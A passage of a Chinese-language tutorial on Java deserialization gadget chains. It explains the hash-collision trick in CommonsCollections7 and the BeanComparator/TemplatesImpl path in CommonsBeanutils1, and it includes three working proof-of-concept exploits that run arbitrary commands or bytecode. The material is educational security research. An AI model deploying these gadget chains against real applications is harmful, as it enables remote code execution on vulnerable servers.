我们跳到HashMap的内部类Node的hashCode方法来看看
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
他是先调用Object类的hashCode方法计算出来一个值,然后再用key和value通过Object类的hashCode方法计算出来的值进行异或运算得到一个新的值,继续根据Objects.hashCode
可以看到,实际上底层调用了字符串“yy”的包装类String的hashCode方法,我们继续跟进到String的hashCode方法,可以看到,第一次算的时候是val[i]是y,ascii是121,h就是121,第二次是y,就是121*31+121也就是3872
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
然后回到Node类中的hashCode方法,进行异或运算得到一个3873新的hash值并返回到AbstractMap类的hashCode方法中,最终lazyMap1的hash值就是3873
lazyMap2也是同理,这里的话yy和zZ都是精心构造的,也可以换成Ea和FB
POC如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7test {
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
CB1
Apache Commons Beanutils 是Apache Commons工具集下的一个项目,提供了一些对普通Java类对象的一些操作方法,这些Java类对象也叫JavaBean
这里直接来写一个demo
public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}
这样的class称为bean,读写方法以get和set开头,后面是首字母大写的属性名,他们包含若干个私有的属性,要得到这个属性只能通过getXxxx来获取。
除此之外,commons beanutils 中有这么一个类PropertyUtils,他提供了一个静态方法getProperty(),该方法可以让使用者直接调用某个JavaBean的某个属性的getter,比如上面那个,我要调用他的getName,我们只需要这么写即可
PropertyUtils.getProperty(new Person(),"name");
这时候他就会去自动寻找到Person类的name属性的getter,就是上面的getName(),调用并且获取返回值,此外,他还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,可以通过如下方式进行递归获取
PropertyUtils.getProperty(a,"b.c");
通过这种方式可以很方便的获取不同类的不同属性的值
这条CB链和CC4有点关系,CC4中有调用过comparator的compare方法,CB1就是在这发生了改变,他使用到了一个类,org.apache.commons.beanutils.BeanComparator
他的compare方法如下
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
如果this.property为空的情况下,直接比较这俩对象。如果property不为空,则是调用PropertyUtils.getProperty来获取这两个对象的property属性的值
public static Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
返回指定bean的指定属性的值,不进行类型转换,比如我传入bean是之前的那个demm中的person,name是上面的age,他会去返回我们的age,也就是这个方法会自动去调用一个JavaBean的getter方法。
CC3链中有这么一个方法TemplatesImpl.getOutputProperties(),他符合getXxxx这样的格式,我们通过使用PropertyUtils.getProperty(TemplatesImpl,”outputProperties”)这样来调用我们的TemplatesImpl.getOutputProperties
demo
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cb1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
Field propertyField=comparator.getClass().getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(comparator,"outputProperties");
Field queueField=queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
由于这个需要用到CC包,下面给出一个无依赖的链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.xpath.regex.CaseInsensitiveMap;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.ASCIICaseInsensitiveComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cb1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("2");
Field propertyField=comparator.getClass().getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(comparator,"outputProperties");
Field queueField=queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
具体参考https://ch1e.cn/2022/03/06/cb1/